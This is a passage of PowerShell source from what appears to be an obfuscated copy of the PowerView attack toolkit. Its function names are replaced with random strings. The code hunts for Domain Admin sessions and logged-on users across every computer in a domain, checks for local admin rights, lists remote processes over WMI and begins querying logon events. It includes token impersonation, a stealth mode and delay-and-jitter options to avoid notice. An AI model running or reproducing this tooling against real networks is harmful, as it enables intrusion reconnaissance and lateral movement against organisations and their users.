[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Parameter(ParameterSetName = 'UserIdentity')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$UserIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserSearchBase, | |
[Parameter(ParameterSetName = 'UserGroupIdentity')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('GroupName', 'Group')] | |
[String[]] | |
$UserGroupIdentity = 'Domain Admins', | |
[Alias('AdminCount')] | |
[Switch] | |
$UserAdminCount, | |
[Alias('AllowDelegation')] | |
[Switch] | |
$UserAllowDelegation, | |
[Switch] | |
$CheckAccess, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$StopOnSuccess, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Parameter(ParameterSetName = 'ShowAll')] | |
[Switch] | |
$ShowAll, | |
[Switch] | |
$Stealth, | |
[String] | |
[ValidateSet('DFS', 'DC', 'File', 'All')] | |
$StealthSource = 'All', | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
$UserSearcherArguments = @{ | |
'Properties' = 'samaccountname' | |
} | |
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } | |
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } | |
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } | |
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
$TargetComputers = @() | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = @($ComputerName) | |
} | |
else { | |
if ($PSBoundParameters['Stealth']) { | |
Write-Verbose "[ZMP1P4RM] Stealth enumeration using source: $StealthSource" | |
$TargetComputerArrayList = New-Object System.Collections.ArrayList | |
if ($StealthSource -match 'File|All') { | |
Write-Verbose '[ZMP1P4RM] Querying for file servers' | |
$FileServerSearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } | |
$FileServers = QTABR6IP @FileServerSearcherArguments | |
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } | |
$TargetComputerArrayList.AddRange( $FileServers ) | |
} | |
if ($StealthSource -match 'DFS|All') { | |
Write-Verbose '[ZMP1P4RM] Querying for DFS servers' | |
} | |
if ($StealthSource -match 'DC|All') { | |
Write-Verbose '[ZMP1P4RM] Querying for domain controllers' | |
$DCSearcherArguments = @{ | |
'LDAP' = $True | |
} | |
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } | |
$DomainControllers = V0UZY4PL @DCSearcherArguments | Select-Object -ExpandProperty dnshostname | |
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } | |
$TargetComputerArrayList.AddRange( $DomainControllers ) | |
} | |
$TargetComputers = $TargetComputerArrayList.ToArray() | |
} | |
else { | |
Write-Verbose '[ZMP1P4RM] Querying for all computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
} | |
Write-Verbose "[ZMP1P4RM] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[ZMP1P4RM] No hosts found to enumerate' | |
} | |
if ($PSBoundParameters['Credential']) { | |
$CurrentUser = $Credential.GetNetworkCredential().UserName | |
} | |
else { | |
$CurrentUser = ([Environment]::UserName).ToLower() | |
} | |
if ($PSBoundParameters['ShowAll']) { | |
$TargetUsers = @() | |
} | |
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { | |
$TargetUsers = C52BTCXM @UserSearcherArguments | Select-Object -ExpandProperty samaccountname | |
} | |
else { | |
$GroupSearcherArguments = @{ | |
'Identity' = $UserGroupIdentity | |
'Recurse' = $True | |
} | |
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } | |
$TargetUsers = MPOE9M0DMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName | |
} | |
Write-Verbose "[ZMP1P4RM] TargetUsers length: $($TargetUsers.Length)" | |
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { | |
throw '[ZMP1P4RM] No users found to target' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) | |
if ($TokenHandle) { | |
$Null = N00NHJ8I -TokenHandle $TokenHandle -Quiet | |
} | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$Sessions = 5X1NU06Z -ComputerName $TargetComputer | |
ForEach ($Session in $Sessions) { | |
$UserName = $Session.UserName | |
$CName = $Session.CName | |
if ($CName -and $CName.StartsWith('\\')) { | |
$CName = $CName.TrimStart('\') | |
} | |
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { | |
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { | |
$UserLocation = New-Object PSObject | |
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null | |
$UserLocation | Add-Member Noteproperty 'UserName' $UserName | |
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer | |
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName | |
try { | |
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName | |
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName | |
} | |
catch { | |
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null | |
} | |
if ($CheckAccess) { | |
$Admin = (DTR4S3F8 -ComputerName $CName).IsAdmin | |
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin | |
} | |
else { | |
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null | |
} | |
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') | |
$UserLocation | |
} | |
} | |
} | |
if (-not $Stealth) { | |
$LoggedOn = WC82VV2X -ComputerName $TargetComputer | |
ForEach ($User in $LoggedOn) { | |
$UserName = $User.UserName | |
$UserDomain = $User.LogonDomain | |
if (($UserName) -and ($UserName.trim() -ne '')) { | |
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { | |
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress | |
$UserLocation = New-Object PSObject | |
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain | |
$UserLocation | Add-Member Noteproperty 'UserName' $UserName | |
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer | |
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress | |
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null | |
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null | |
if ($CheckAccess) { | |
$Admin = DTR4S3F8 -ComputerName $TargetComputer | |
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin | |
} | |
else { | |
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null | |
} | |
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') | |
$UserLocation | |
} | |
} | |
} | |
} | |
} | |
} | |
if ($TokenHandle) { | |
ZPJ0WOMD | |
} | |
} | |
$LogonToken = $Null | |
if ($PSBoundParameters['Credential']) { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
else { | |
$LogonToken = N00NHJ8I -Credential $Credential -Quiet | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[ZMP1P4RM] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[ZMP1P4RM] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[ZMP1P4RM] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" | |
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken | |
if ($Result -and $StopOnSuccess) { | |
Write-Verbose "[ZMP1P4RM] Target user found, returning early" | |
return | |
} | |
} | |
} | |
else { | |
Write-Verbose "[ZMP1P4RM] Using threading with threads: $Threads" | |
Write-Verbose "[ZMP1P4RM] TargetComputers length: $($TargetComputers.Length)" | |
$ScriptParams = @{ | |
'TargetUsers' = $TargetUsers | |
'CurrentUser' = $CurrentUser | |
'Stealth' = $Stealth | |
'TokenHandle' = $LogonToken | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function F7PUOXBJ { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] | |
[OutputType('PowerView.UserProcess')] | |
[CmdletBinding(DefaultParameterSetName = 'None')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[Alias('Unconstrained')] | |
[Switch] | |
$ComputerUnconstrained, | |
[ValidateNotNullOrEmpty()] | |
[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Parameter(ParameterSetName = 'TargetProcess')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ProcessName, | |
[Parameter(ParameterSetName = 'TargetUser')] | |
[Parameter(ParameterSetName = 'UserIdentity')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$UserIdentity, | |
[Parameter(ParameterSetName = 'TargetUser')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserDomain, | |
[Parameter(ParameterSetName = 'TargetUser')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserLDAPFilter, | |
[Parameter(ParameterSetName = 'TargetUser')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('GroupName', 'Group')] | |
[String[]] | |
$UserGroupIdentity = 'Domain Admins', | |
[Parameter(ParameterSetName = 'TargetUser')] | |
[Alias('AdminCount')] | |
[Switch] | |
$UserAdminCount, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$StopOnSuccess, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
$UserSearcherArguments = @{ | |
'Properties' = 'samaccountname' | |
} | |
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } | |
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } | |
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
Write-Verbose '[F7PUOXBJ] Querying computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
Write-Verbose "[F7PUOXBJ] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[F7PUOXBJ] No hosts found to enumerate' | |
} | |
if ($PSBoundParameters['ProcessName']) { | |
$TargetProcessName = @() | |
ForEach ($T in $ProcessName) { | |
$TargetProcessName += $T.Split(',') | |
} | |
if ($TargetProcessName -isnot [System.Array]) { | |
$TargetProcessName = [String[]] @($TargetProcessName) | |
} | |
} | |
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { | |
$TargetUsers = C52BTCXM @UserSearcherArguments | Select-Object -ExpandProperty samaccountname | |
} | |
else { | |
$GroupSearcherArguments = @{ | |
'Identity' = $UserGroupIdentity | |
'Recurse' = $True | |
} | |
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } | |
$GroupSearcherArguments | |
$TargetUsers = MPOE9M0DMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $ProcessName, $TargetUsers, $Credential) | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
if ($Credential) { | |
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue | |
} | |
else { | |
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue | |
} | |
ForEach ($Process in $Processes) { | |
if ($ProcessName) { | |
if ($ProcessName -Contains $Process.ProcessName) { | |
$Process | |
} | |
} | |
elseif ($TargetUsers -Contains $Process.User) { | |
$Process | |
} | |
} | |
} | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[F7PUOXBJ] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[F7PUOXBJ] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[F7PUOXBJ] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential | |
$Result | |
if ($Result -and $StopOnSuccess) { | |
Write-Verbose "[F7PUOXBJ] Target user found, returning early" | |
return | |
} | |
} | |
} | |
else { | |
Write-Verbose "[F7PUOXBJ] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'ProcessName' = $TargetProcessName | |
'TargetUsers' = $TargetUsers | |
'Credential' = $Credential | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
} | |
function 1KMCMR2E { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] | |
[OutputType('PowerView.LogonEvent')] | |
[OutputType('PowerView.ExplicitCredentialLogon')] | |
[CmdletBinding(DefaultParameterSetName = 'Domain')] | |
Param( | |
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('dnshostname', 'HostName', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName, | |
[Parameter(ParameterSetName = 'Domain')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$Filter, | |
[Parameter(ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$StartTime = [DateTime]::Now.AddDays(-1), | |
[Parameter(ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$EndTime = [DateTime]::Now, | |
[ValidateRange(1, 1000000)] | |
[Int] | |
$MaxEvents = 5000, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$UserIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('GroupName', 'Group')] | |
[String[]] | |
$UserGroupIdentity = 'Domain Admins', | |
[Alias('AdminCount')] | |
[Switch] | |
$UserAdminCount, | |
[Switch] | |
$CheckAccess, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$StopOnSuccess, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$UserSearcherArguments = @{ | |
'Properties' = 'samaccountname' | |
} | |
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } | |
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } | |
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { | |
$TargetUsers = C52BTCXM @UserSearcherArguments | Select-Object -ExpandProperty samaccountname | |
} | |
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { | |
$GroupSearcherArguments = @{ | |
'Identity' = $UserGroupIdentity | |
'Recurse' = $True | |
} | |
Write-Verbose "UserGroupIdentity: $UserGroupIdentity" | |
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } | |
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } | |
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
